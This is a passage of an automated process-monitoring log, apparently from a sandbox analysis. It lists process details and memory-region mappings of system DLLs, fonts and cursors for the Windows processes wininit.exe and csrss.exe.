"\\Windows\\System32\\smss.exe" (normalized: "c:\\windows\\system32\\smss.exe") Region: id = 2746 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Thread: id = 206 os_tid = 0x180 Process: id = "36" image_name = "wininit.exe" filename = "c:\\windows\\system32\\wininit.exe" page_root = "0x723ce000" os_pid = "0x184" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "33" os_parent_pid = "0x130" cmd_line = "wininit.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Region: id = 2747 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2748 start_va = 0x4ce1860000 end_va = 0x4ce187ffff entry_point = 0x0 region_type = private name = "private_0x0000004ce1860000" filename = "" Region: id = 2749 start_va = 0x4ce1880000 end_va = 0x4ce188efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004ce1880000" filename = "" Region: id = 2750 start_va = 0x4ce1890000 end_va = 0x4ce190ffff entry_point = 0x0 region_type = private name = "private_0x0000004ce1890000" filename = "" Region: id = 2751 start_va = 0x7ff7b2360000 end_va = 0x7ff7b2382fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7b2360000" filename = "" Region: id = 2752 start_va = 0x7ff7b238c000 end_va = 0x7ff7b238cfff entry_point = 0x0 region_type = private name = "private_0x00007ff7b238c000" filename = "" Region: id = 2753 start_va = 0x7ff7b238e000 end_va = 0x7ff7b238ffff entry_point = 0x0 region_type = private name = "private_0x00007ff7b238e000" filename = "" Region: id = 2754 start_va = 0x7ff7b26f0000 end_va = 0x7ff7b2715fff entry_point = 0x7ff7b26f0000 region_type = mapped_file name = "wininit.exe" filename = "\\Windows\\System32\\wininit.exe" (normalized: "c:\\windows\\system32\\wininit.exe") Region: id = 2755 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2807 start_va = 0x4ce1910000 end_va = 0x4ce1a5ffff entry_point = 0x0 region_type = private name = "private_0x0000004ce1910000" filename = "" Region: id = 2808 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2809 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2810 start_va = 0x4ce1860000 end_va = 0x4ce186ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004ce1860000" filename = "" Region: id = 2811 start_va = 0x7ff7b2260000 end_va = 0x7ff7b235ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff7b2260000" filename = "" Region: id = 2812 start_va = 0x4ce1a60000 end_va = 0x4ce1addfff entry_point = 0x4ce1a60000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2813 start_va = 0x7ffd1d830000 end_va = 0x7ffd1d8d6fff entry_point = 0x7ffd1d830000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 2814 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 0x7ffd1f410000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2815 start_va = 0x7ffd1d7d0000 end_va = 0x7ffd1d826fff entry_point = 0x7ffd1d7d0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2825 start_va = 0x7ffd1cca0000 end_va = 0x7ffd1ccb3fff entry_point = 0x7ffd1cca0000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2829 start_va = 0x4ce1ae0000 end_va = 0x4ce1c7ffff entry_point = 0x0 region_type = private name = "private_0x0000004ce1ae0000" filename = "" Region: id = 2831 start_va = 0x4ce1870000 end_va = 0x4ce1876fff entry_point = 0x0 region_type = private name = "private_0x0000004ce1870000" filename = "" Region: id = 2833 start_va = 0x4ce1ae0000 end_va = 0x4ce1b7ffff entry_point = 0x0 region_type = private name = "private_0x0000004ce1ae0000" filename = "" Region: id = 2834 start_va = 0x4ce1c70000 end_va = 0x4ce1c7ffff entry_point = 0x0 region_type = private name = "private_0x0000004ce1c70000" filename = "" Region: id = 2835 start_va = 0x4ce1910000 end_va = 0x4ce1916fff entry_point = 0x0 region_type = private name = "private_0x0000004ce1910000" filename = "" Region: id = 2836 start_va = 0x4ce1960000 end_va = 0x4ce1a5ffff entry_point = 0x0 region_type = private name = "private_0x0000004ce1960000" filename = "" Region: id = 2837 start_va = 0x7ffd1cc40000 end_va = 0x7ffd1cc49fff entry_point = 0x7ffd1cc40000 region_type = mapped_file name = "wininitext.dll" filename = "\\Windows\\System32\\wininitext.dll" (normalized: "c:\\windows\\system32\\wininitext.dll") Region: id = 2838 start_va = 0x7ffd1d350000 end_va = 0x7ffd1d4c0fff entry_point = 0x7ffd1d375ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2839 start_va = 0x7ffd1f5f0000 end_va = 0x7ffd1f734fff entry_point = 0x7ffd1f601c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2840 start_va = 0x4ce1c80000 end_va = 0x4ce1e07fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004ce1c80000" filename = "" Region: id = 2841 start_va = 0x4ce1e10000 end_va = 0x4ce1f90fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004ce1e10000" filename = "" Region: id = 2842 start_va = 0x4ce1920000 end_va = 0x4ce1922fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004ce1920000" filename = "" Region: id = 2843 start_va = 0x4ce1930000 end_va = 0x4ce1930fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004ce1930000" filename = "" Region: id = 2844 start_va = 0x4ce1940000 end_va = 0x4ce1940fff entry_point = 0x0 region_type = private name = "private_0x0000004ce1940000" filename = "" Region: id = 2845 start_va = 0x4ce1950000 end_va = 0x4ce1950fff entry_point = 0x0 region_type = private name = "private_0x0000004ce1950000" filename = "" Region: id = 2846 start_va = 0x4ce1ae0000 end_va = 0x4ce1b5ffff entry_point = 0x0 region_type = private name = "private_0x0000004ce1ae0000" filename = "" Region: id = 2847 start_va = 0x4ce1b70000 end_va = 0x4ce1b7ffff entry_point = 0x0 region_type = private name = "private_0x0000004ce1b70000" filename = "" Region: id = 2848 start_va = 0x4ce1fa0000 end_va = 0x4ce2399fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004ce1fa0000" filename = "" Region: id = 2849 start_va = 0x7ff7b238a000 end_va = 0x7ff7b238bfff entry_point = 0x0 region_type = private name = "private_0x00007ff7b238a000" filename = "" Region: id = 2850 start_va = 0x4ce1b80000 end_va = 0x4ce1bfffff entry_point = 0x0 region_type = private name = "private_0x0000004ce1b80000" filename = "" Region: id = 2851 start_va = 0x7ff7b2388000 end_va = 0x7ff7b2389fff entry_point = 0x0 region_type = private name = "private_0x00007ff7b2388000" filename = "" Region: id = 2852 start_va = 0x7ffd1cc30000 end_va = 0x7ffd1cc33fff entry_point = 0x7ffd1cc30000 region_type = mapped_file name = "kbdus.dll" filename = "\\Windows\\System32\\KBDUS.DLL" (normalized: "c:\\windows\\system32\\kbdus.dll") Region: id = 2853 start_va = 0x4ce1b60000 end_va = 0x4ce1b60fff entry_point = 0x0 region_type = private name = "private_0x0000004ce1b60000" filename = "" Region: id = 2854 start_va = 0x4ce23a0000 end_va = 0x4ce2cc6fff entry_point = 0x4ce23a0000 region_type = mapped_file name = "malgun.ttf" filename = "\\Windows\\Fonts\\malgun.ttf" (normalized: "c:\\windows\\fonts\\malgun.ttf") Region: id = 2855 start_va = 0x4ce23a0000 end_va = 0x4ce3841fff entry_point = 0x4ce23a0000 region_type = mapped_file name = "msyh.ttc" filename = "\\Windows\\Fonts\\msyh.ttc" (normalized: "c:\\windows\\fonts\\msyh.ttc") Region: id = 2856 start_va = 0x4ce23a0000 end_va = 0x4ce3322fff entry_point = 0x4ce23a0000 region_type = mapped_file name = "batang.ttc" filename = "\\Windows\\Fonts\\batang.ttc" (normalized: "c:\\windows\\fonts\\batang.ttc") Region: id = 2857 start_va = 0x4ce23a0000 end_va = 0x4ce2c21fff entry_point = 0x4ce23a0000 region_type = mapped_file name = "malgunbd.ttf" filename = "\\Windows\\Fonts\\malgunbd.ttf" (normalized: "c:\\windows\\fonts\\malgunbd.ttf") Region: id = 2858 start_va = 0x4ce23a0000 end_va = 0x4ce246bfff entry_point = 0x4ce23a0000 region_type = mapped_file name = "segoeuib.ttf" filename = "\\Windows\\Fonts\\segoeuib.ttf" (normalized: "c:\\windows\\fonts\\segoeuib.ttf") Region: id = 2859 start_va = 0x4ce23a0000 end_va = 0x4ce2d3dfff entry_point = 0x4ce23a0000 region_type = mapped_file name = "msmincho.ttc" filename = "\\Windows\\Fonts\\msmincho.ttc" (normalized: "c:\\windows\\fonts\\msmincho.ttc") Region: id = 2860 start_va = 0x4ce23a0000 end_va = 0x4ce246dfff entry_point = 0x4ce23a0000 region_type = mapped_file name = "segoeui.ttf" filename = "\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\windows\\fonts\\segoeui.ttf") Region: id = 2861 start_va = 0x4ce23a0000 end_va = 0x4ce2456fff entry_point = 0x4ce23a0000 region_type = mapped_file name = "tahoma.ttf" filename = "\\Windows\\Fonts\\tahoma.ttf" (normalized: "c:\\windows\\fonts\\tahoma.ttf") Region: id = 2862 start_va = 0x4ce23a0000 end_va = 0x4ce3509fff entry_point = 0x4ce23a0000 region_type = mapped_file name = "simsun.ttc" filename = "\\Windows\\Fonts\\simsun.ttc" (normalized: "c:\\windows\\fonts\\simsun.ttc") Region: id = 2863 start_va = 0x4ce23a0000 end_va = 0x4ce2ceafff entry_point = 0x4ce23a0000 region_type = mapped_file name = "meiryob.ttc" filename = "\\Windows\\Fonts\\meiryob.ttc" (normalized: "c:\\windows\\fonts\\meiryob.ttc") Region: id = 2864 start_va = 0x4ce23a0000 end_va = 0x4ce2c68fff entry_point = 0x4ce23a0000 region_type = mapped_file name = "msgothic.ttc" filename = "\\Windows\\Fonts\\msgothic.ttc" (normalized: "c:\\windows\\fonts\\msgothic.ttc") Region: id = 2865 start_va = 0x4ce23a0000 end_va = 0x4ce3085fff entry_point = 0x4ce23a0000 region_type = mapped_file name = "gulim.ttc" filename = "\\Windows\\Fonts\\gulim.ttc" (normalized: "c:\\windows\\fonts\\gulim.ttc") Region: id = 2866 start_va = 0x4ce23a0000 end_va = 0x4ce3164fff entry_point = 0x4ce23a0000 region_type = mapped_file name = "msjhbd.ttc" filename = "\\Windows\\Fonts\\msjhbd.ttc" (normalized: "c:\\windows\\fonts\\msjhbd.ttc") Region: id = 2867 start_va = 0x4ce23a0000 end_va = 0x4ce316afff entry_point = 0x4ce23a0000 region_type = mapped_file name = "msyhbd.ttc" filename = "\\Windows\\Fonts\\msyhbd.ttc" (normalized: "c:\\windows\\fonts\\msyhbd.ttc") Region: id = 2868 start_va = 0x4ce23a0000 end_va = 0x4ce2442fff entry_point = 0x4ce23a0000 region_type = mapped_file name = "micross.ttf" filename = "\\Windows\\Fonts\\micross.ttf" (normalized: "c:\\windows\\fonts\\micross.ttf") Region: id = 2869 start_va = 0x4ce23a0000 end_va = 0x4ce3ddbfff entry_point = 0x4ce23a0000 region_type = mapped_file name = "mingliu.ttc" filename = "\\Windows\\Fonts\\mingliu.ttc" (normalized: "c:\\windows\\fonts\\mingliu.ttc") Region: id = 2870 start_va = 0x4ce23a0000 end_va = 0x4ce381cfff entry_point = 0x4ce23a0000 region_type = mapped_file name = "msjh.ttc" filename = "\\Windows\\Fonts\\msjh.ttc" (normalized: "c:\\windows\\fonts\\msjh.ttc") Region: id = 2871 start_va = 0x4ce23a0000 end_va = 0x4ce2cb5fff entry_point = 0x4ce23a0000 region_type = mapped_file name = "meiryo.ttc" filename = "\\Windows\\Fonts\\meiryo.ttc" (normalized: "c:\\windows\\fonts\\meiryo.ttc") Region: id = 2872 start_va = 0x4ce1c00000 end_va = 0x4ce1c04fff entry_point = 0x4ce1c00000 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui") Region: id = 2873 start_va = 0x4ce1c10000 end_va = 0x4ce1c3ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004ce1c10000" filename = "" Region: id = 2874 start_va = 0x7ffd1cc30000 end_va = 0x7ffd1cc33fff entry_point = 0x7ffd1cc30000 region_type = mapped_file name = "kbdus.dll" filename = "\\Windows\\System32\\KBDUS.DLL" (normalized: "c:\\windows\\system32\\kbdus.dll") Region: id = 2875 start_va = 0x4ce1920000 end_va = 0x4ce1922fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004ce1920000" filename = "" Region: id = 2876 start_va = 0x4ce1930000 end_va = 0x4ce1930fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004ce1930000" filename = "" Region: id = 2877 start_va = 0x4ce1b60000 end_va = 0x4ce1b64fff entry_point = 0x4ce1b60000 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui") Region: id = 2878 start_va = 0x4ce1c00000 end_va = 0x4ce1c07fff entry_point = 0x4ce1c00000 region_type = mapped_file name = "aero_arrow.cur" filename = "\\Windows\\Cursors\\aero_arrow.cur" (normalized: "c:\\windows\\cursors\\aero_arrow.cur") Region: id = 2879 start_va = 0x4ce1fa0000 end_va = 0x4ce2027fff entry_point = 0x4ce1fa0000 region_type = mapped_file name = "aero_busy.ani" filename = "\\Windows\\Cursors\\aero_busy.ani" (normalized: "c:\\windows\\cursors\\aero_busy.ani") Region: id = 2880 start_va = 0x4ce1c00000 end_va = 0x4ce1c07fff entry_point = 0x4ce1c00000 region_type = mapped_file name = "aero_up.cur" filename = "\\Windows\\Cursors\\aero_up.cur" (normalized: "c:\\windows\\cursors\\aero_up.cur") Region: id = 2881 start_va = 0x4ce1fa0000 end_va = 0x4ce2027fff entry_point = 0x4ce1fa0000 region_type = mapped_file name = "aero_working.ani" filename = "\\Windows\\Cursors\\aero_working.ani" (normalized: "c:\\windows\\cursors\\aero_working.ani") Region: id = 2882 start_va = 0x4ce1c00000 end_va = 0x4ce1c07fff entry_point = 0x4ce1c00000 region_type = mapped_file name = "aero_helpsel.cur" filename = "\\Windows\\Cursors\\aero_helpsel.cur" (normalized: "c:\\windows\\cursors\\aero_helpsel.cur") Region: id = 2883 start_va = 0x7ffd1cc30000 end_va = 0x7ffd1cc37fff entry_point = 0x7ffd1cc30000 region_type = mapped_file name = "wls0wndh.dll" filename = "\\Windows\\System32\\WlS0WndH.dll" (normalized: "c:\\windows\\system32\\wls0wndh.dll") Region: id = 2884 start_va = 0x4ce1fa0000 end_va = 0x4ce339ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004ce1fa0000" filename = "" Region: id = 2885 start_va = 0x4ce33a0000 end_va = 0x4ce341ffff entry_point = 0x0 region_type = private name = "private_0x0000004ce33a0000" filename = "" Region: id = 2886 start_va = 0x4ce3420000 end_va = 0x4ce36f4fff entry_point = 0x4ce3420000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2887 start_va = 0x7ff7b2386000 end_va = 0x7ff7b2387fff entry_point = 0x0 region_type = private name = "private_0x00007ff7b2386000" filename = "" Region: id = 3390 start_va = 0x7ffd1f350000 end_va = 0x7ffd1f3a7fff entry_point = 0x7ffd1f35109c region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 3391 start_va = 0x7ffd1dd40000 end_va = 0x7ffd1dd48fff entry_point = 0x7ffd1dd41400 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 3392 start_va = 0x7ffd1c5e0000 end_va = 0x7ffd1c637fff entry_point = 0x7ffd1c5e1010 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 3402 start_va = 0x7ffd1cae0000 end_va = 0x7ffd1cb0afff entry_point = 0x7ffd1cae1490 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3403 start_va = 0x4ce1c00000 end_va = 0x4ce1c00fff entry_point = 0x0 region_type = private name = "private_0x0000004ce1c00000" filename = "" Region: id = 3404 start_va = 0x4ce1c00000 end_va = 0x4ce1c00fff entry_point = 0x0 region_type = private name = "private_0x0000004ce1c00000" filename = "" Region: id = 3405 start_va = 0x4ce1c00000 end_va = 0x4ce1c00fff entry_point = 0x0 region_type = private name = "private_0x0000004ce1c00000" filename = "" Region: id = 3406 start_va = 0x4ce1c00000 end_va = 0x4ce1c00fff entry_point = 0x0 region_type = private name = "private_0x0000004ce1c00000" filename = "" Region: id = 3407 start_va = 0x4ce1c00000 end_va = 0x4ce1c00fff entry_point = 0x0 region_type = private name = "private_0x0000004ce1c00000" filename = "" Region: id = 3408 start_va = 0x4ce1c00000 end_va = 0x4ce1c00fff entry_point = 0x0 region_type = private name = "private_0x0000004ce1c00000" filename = "" Region: id = 3409 start_va = 0x4ce1c00000 end_va = 0x4ce1c00fff entry_point = 0x0 region_type = private name = "private_0x0000004ce1c00000" filename = "" Region: id = 3410 start_va = 0x4ce1c00000 end_va = 0x4ce1c00fff entry_point = 0x0 region_type = private name = "private_0x0000004ce1c00000" filename = "" Region: id = 3411 start_va = 0x4ce1c00000 end_va = 0x4ce1c00fff entry_point = 0x0 region_type = private name = "private_0x0000004ce1c00000" filename = "" Region: id = 3412 start_va = 0x4ce1c00000 end_va = 0x4ce1c00fff entry_point = 0x0 region_type = private name = "private_0x0000004ce1c00000" filename = "" Region: id = 3413 start_va = 0x4ce1c00000 end_va = 0x4ce1c00fff entry_point = 0x0 region_type = private name = "private_0x0000004ce1c00000" filename = "" Thread: id = 207 os_tid = 0x188 Thread: id = 216 os_tid = 0x1b4 Thread: id = 218 os_tid = 0x1bc Thread: id = 221 os_tid = 0x1c8 Thread: id = 236 os_tid = 0x200 Process: id = "37" image_name = "csrss.exe" filename = "c:\\windows\\system32\\csrss.exe" page_root = "0x722b7000" os_pid = "0x18c" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "35" os_parent_pid = "0x17c" cmd_line = "%SystemRoot%\\system32\\csrss.exe ObjectDirectory=\\Windows SharedSection=1024,20480,768 Windows=On SubSystemType=Windows ServerDll=basesrv,1 ServerDll=winsrv:UserServerDllInitialization,3 ServerDll=sxssrv,4 ProfileControl=Off MaxRequestThreads=16" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Region: id = 2756 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2757 start_va = 0xe7edcf0000 end_va = 0xe7edd0ffff entry_point = 0x0 region_type = private name = "private_0x000000e7edcf0000" filename = "" Region: id = 2758 start_va = 0xe7edd10000 end_va = 0xe7edd1efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7edd10000" filename = "" Region: id = 2759 start_va = 0xe7edd20000 end_va = 0xe7edd5ffff entry_point = 0x0 region_type = private name = "private_0x000000e7edd20000" filename = "" Region: id = 2760 start_va = 0x7ff6e7300000 end_va = 0x7ff6e7322fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6e7300000" filename = "" Region: id = 2761 start_va = 0x7ff6e732d000 end_va = 0x7ff6e732efff entry_point = 0x0 region_type = private name = "private_0x00007ff6e732d000" filename = "" Region: id = 2762 start_va = 0x7ff6e732f000 end_va = 0x7ff6e732ffff entry_point = 0x0 region_type = private name = "private_0x00007ff6e732f000" filename = "" Region: id = 2763 start_va = 0x7ff6e7a10000 end_va = 0x7ff6e7a16fff entry_point = 0x7ff6e7a11160 region_type = mapped_file name = "csrss.exe" filename = "\\Windows\\System32\\csrss.exe" (normalized: "c:\\windows\\system32\\csrss.exe") Region: id = 2764 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2772 start_va = 0xe7edcf0000 end_va = 0xe7edcf6fff entry_point = 0x0 region_type = private name = "private_0x000000e7edcf0000" filename = "" Region: id = 2773 start_va = 0xe7edd00000 end_va = 0xe7edd02fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7edd00000" filename = "" Region: id = 2774 start_va = 0xe7edd60000 end_va = 0xe7eddddfff entry_point = 0xe7edd60000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2775 start_va = 0xe7edde0000 end_va = 0xe7edde0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7edde0000" filename = "" Region: id = 2776 start_va = 0xe7eddf0000 end_va = 0xe7eddf0fff entry_point = 0x0 region_type = private name = "private_0x000000e7eddf0000" filename = "" Region: id = 2777 start_va = 0xe7ede00000 end_va = 0xe7ede00fff entry_point = 0x0 region_type = private name = "private_0x000000e7ede00000" filename = "" Region: id = 2778 start_va = 0xe7ede10000 end_va = 0xe7ede10fff entry_point = 0x0 region_type = private name = "private_0x000000e7ede10000" filename = "" Region: id = 2779 start_va = 0xe7ede20000 end_va = 0xe7ede20fff entry_point = 0x0 region_type = private name = "private_0x000000e7ede20000" filename = "" Region: id = 2780 start_va = 0xe7ede30000 end_va = 0xe7ede31fff entry_point = 0xe7ede30000 region_type = mapped_file name = "vgasys.fon" filename = "\\Windows\\Fonts\\vgasys.fon" (normalized: "c:\\windows\\fonts\\vgasys.fon") Region: id = 2781 start_va = 0xe7ede90000 end_va = 0xe7edf8ffff entry_point = 0x0 region_type = private name = "private_0x000000e7ede90000" filename = "" Region: id = 2782 start_va = 0xe7edf90000 end_va = 0xe7ee110fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7edf90000" filename = "" Region: id = 2783 start_va = 0xe7ee120000 end_va = 0xe7ee519fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7ee120000" filename = "" Region: id = 2784 start_va = 0xe7ee520000 end_va = 0xe7eea11fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7ee520000" filename = "" Region: id = 2785 start_va = 0x7ff6e7200000 end_va = 0x7ff6e72fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6e7200000" filename = "" Region: id = 2786 start_va = 0x7ffd1ccd0000 end_va = 0x7ffd1cd01fff entry_point = 0x7ffd1ccd3df4 region_type = mapped_file name = "winsrv.dll" filename = "\\Windows\\System32\\winsrv.dll" (normalized: "c:\\windows\\system32\\winsrv.dll") Region: id = 2787 start_va = 0x7ffd1cd10000 end_va = 0x7ffd1cd22fff entry_point = 0x7ffd1cd15e98 region_type = mapped_file name = "basesrv.dll" filename = "\\Windows\\System32\\basesrv.dll" (normalized: "c:\\windows\\system32\\basesrv.dll") Region: id = 2788 start_va = 0x7ffd1cd30000 end_va = 0x7ffd1cd45fff entry_point = 0x7ffd1cd37438 region_type = mapped_file name = "csrsrv.dll" filename = "\\Windows\\System32\\csrsrv.dll" (normalized: "c:\\windows\\system32\\csrsrv.dll") Region: id = 2789 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2790 start_va = 0x7ffd1d350000 end_va = 0x7ffd1d4c0fff entry_point = 0x7ffd1d375ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 2791 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2792 start_va = 0x7ffd1f5f0000 end_va = 0x7ffd1f734fff entry_point = 0x7ffd1f601c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 2793 start_va = 0xe7ede40000 end_va = 0xe7ede7ffff entry_point = 0x0 region_type = private name = "private_0x000000e7ede40000" filename = "" Region: id = 2794 start_va = 0x7ff6e732b000 end_va = 0x7ff6e732cfff entry_point = 0x0 region_type = private name = "private_0x00007ff6e732b000" filename = "" Region: id = 2795 start_va = 0xe7eea20000 end_va = 0xe7eea5ffff entry_point = 0x0 region_type = private name = "private_0x000000e7eea20000" filename = "" Region: id = 2796 start_va = 0x7ff6e7329000 end_va = 0x7ff6e732afff entry_point = 0x0 region_type = private name = "private_0x00007ff6e7329000" filename = "" Region: id = 2797 start_va = 0x7ffd1ccc0000 end_va = 0x7ffd1ccccfff entry_point = 0x7ffd1ccc4ef8 region_type = mapped_file name = "sxssrv.dll" filename = "\\Windows\\System32\\sxssrv.dll" (normalized: "c:\\windows\\system32\\sxssrv.dll") Region: id = 3045 start_va = 0xe7edd20000 end_va = 0xe7edd2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7edd20000" filename = "" Region: id = 3046 start_va = 0xe7edd30000 end_va = 0xe7edd36fff entry_point = 0xe7edd30000 region_type = mapped_file name = "marlett.ttf" filename = "\\Windows\\Fonts\\marlett.ttf" (normalized: "c:\\windows\\fonts\\marlett.ttf") Region: id = 3047 start_va = 0xe7edd40000 end_va = 0xe7edd57fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7edd40000" filename = "" Region: id = 3048 start_va = 0xe7ede80000 end_va = 0xe7ede80fff entry_point = 0x0 region_type = private name = "private_0x000000e7ede80000" filename = "" Region: id = 3049 start_va = 0xe7eea60000 end_va = 0xe7eea9ffff entry_point = 0x0 region_type = private name = "private_0x000000e7eea60000" filename = "" Region: id = 3050 start_va = 0xe7eeaa0000 end_va = 0xe7eeadffff entry_point = 0x0 region_type = private name = "private_0x000000e7eeaa0000" filename = "" Region: id = 3051 start_va = 0xe7eeae0000 end_va = 0xe7eec67fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7eeae0000" filename = "" Region: id = 3052 start_va = 0xe7eec70000 end_va = 0xe7eecaffff entry_point = 0x0 region_type = private name = "private_0x000000e7eec70000" filename = "" Region: id = 3053 start_va = 0xe7eecb0000 end_va = 0xe7eeceffff entry_point = 0x0 region_type = private name = "private_0x000000e7eecb0000" filename = "" Region: id = 3054 start_va = 0xe7eecf0000 end_va = 0xe7eed2ffff entry_point = 0x0 region_type = private name = "private_0x000000e7eecf0000" filename = "" Region: id = 3055 start_va = 0xe7eed30000 end_va = 0xe7eedfdfff entry_point = 0xe7eed30000 region_type = mapped_file name = "segoeui.ttf" filename = "\\Windows\\Fonts\\segoeui.ttf" (normalized: "c:\\windows\\fonts\\segoeui.ttf") Region: id = 3056 start_va = 0xe7eee00000 end_va = 0xe7eee2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7eee00000" filename = "" Region: id = 3057 start_va = 0xe7eee30000 end_va = 0xe7f022ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e7eee30000" filename = "" Region: id = 3058 start_va = 0x7ff6e71fe000 end_va = 0x7ff6e71fffff entry_point = 0x0 region_type = private name = "private_0x00007ff6e71fe000" filename = "" Region: id = 3059 start_va = 0x7ff6e7323000 end_va = 0x7ff6e7324fff entry_point = 0x0 region_type = private name = "private_0x00007ff6e7323000" filename = "" Region: id = 3060 start_va = 0x7ff6e7325000 end_va = 